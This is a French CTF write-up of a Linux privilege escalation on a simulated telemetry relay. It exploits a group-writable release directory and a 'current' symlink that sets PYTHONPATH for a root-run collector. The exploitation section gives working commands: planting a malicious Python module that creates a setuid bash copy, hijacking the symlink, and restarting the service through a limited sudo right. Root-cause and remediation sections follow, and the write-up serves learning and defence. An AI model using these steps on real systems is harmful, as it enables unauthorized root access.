← Tous les write-ups

Station Recovery — Déploiement atomique mal cloisonné

StarHack CTF Moyen Linux PrivEsc

Contexte

Simulation CTF — collecteur de télémétrie d’un relais orbital, redémarrage instable après migration. Compte opérateur cadet fourni via SSH. Objectif : obtenir un shell root.

Reconnaissance

sudo -l
User cadet may run the following commands on station-recovery-619-bc93ce53:
    (root) NOPASSWD: /usr/bin/supervisorctl -c /run/star-station/supervisord.conf status
    (root) NOPASSWD: /usr/bin/supervisorctl -c /run/star-station/supervisord.conf restart station-collector
groups
cadet telemetry-operators

Le fichier /run/star-station/supervisord.conf était lisible par tous (-rw-r--r--), révélant la configuration du programme station-collector :

[program:station-collector]
command=/usr/bin/python3 /opt/star-station/collector.py
user=root
directory=/opt/star-station
environment=PYTHONPATH="/var/lib/star-station/releases/current/vendor",STATION_CODEC="telemetry_413ef09293",INSTANCE_VARIANT="413ef09293"

Et le code de collector.py :

module_name = os.environ["STATION_CODEC"]
codec = importlib.import_module(module_name)
...
codec.encode_record(...)

Le process tourne en root et importe dynamiquement un module Python dont le nom vient d’une variable d’environnement, en cherchant dans un chemin (PYTHONPATH) dépendant d’un symlink current.

La faille

drwxrwxr-x root:telemetry-operators  /var/lib/star-station/releases/
lrwxrwxrwx root:root                 current -> 413ef09293

Le dossier releases/ était writable par le groupe telemetry-operators, sans sticky bit. cadet, membre de ce groupe, pouvait donc supprimer et recréer le symlink current, redirigeant la résolution du PYTHONPATH vers un dossier entièrement contrôlé. Pattern de “déploiement atomique” (symlink current vers une release versionnée) mal cloisonné : la permission d’écriture nécessaire à un outil de déploiement légitime était accordée à un groupe bien trop large.

Exploitation

1. Création d’une release malveillante contenant un module portant exactement le nom attendu par STATION_CODEC :

mkdir -p /var/lib/star-station/releases/pwn/vendor
cat > /var/lib/star-station/releases/pwn/vendor/telemetry_413ef09293.py << 'EOF'
import os
def encode_record(data):
    os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
    return str(data)
EOF

2. Détournement du symlink current :

cd /var/lib/star-station/releases/
rm current && ln -s pwn current

3. Déclenchement du rechargement via le droit sudo restreint :

sudo /usr/bin/supervisorctl -c /run/star-station/supervisord.conf restart station-collector

Le process root relance collector.py, qui importe telemetry_413ef09293 depuis le PYTHONPATH empoisonné, exécutant encode_record() — donc le os.system(...) — en tant que root.

4. Récupération du shell privilégié :

/tmp/rootbash -p
cat /root/flag.txt

Cause racine

  • Permission d’écriture sur releases/ trop large (groupe applicatif au lieu d’un compte de déploiement dédié)
  • Absence de verrouillage du symlink current (pas de propriétaire dédié, pas de sticky bit sur le parent)
  • Résolution dynamique de module (importlib.import_module) basée sur une variable d’environnement elle-même influencée par un chemin modifiable
  • Un droit sudo “limité” (restart uniquement) suffisait à réarmer tout le vecteur, car l’action de restart elle-même déclenchait le code attaquant

Remédiation

  • Restreindre l’écriture sur releases/ à un compte de déploiement dédié (ni cadet, ni le groupe telemetry-operators)
  • Séparer les droits : les utilisateurs opérationnels ne devraient pas pouvoir écrire dans les chemins utilisés pour résoudre du code exécuté en root
  • Éviter de faire dépendre PYTHONPATH d’un chemin modifiable par un utilisateur non privilégié
  • Si l’import dynamique par variable d’environnement est nécessaire, whitelister strictement les noms de modules autorisés

Ce que j’ai appris

Un droit sudo en apparence anodin (restart d’un service) devient un vecteur complet dès lors qu’il déclenche du code dont un utilisateur non privilégié contrôle le chemin de résolution. La vraie faille n’est pas le sudo, mais la permission d’écriture sur releases/ : c’est le maillon à auditer en premier sur tout mécanisme de déploiement par symlink.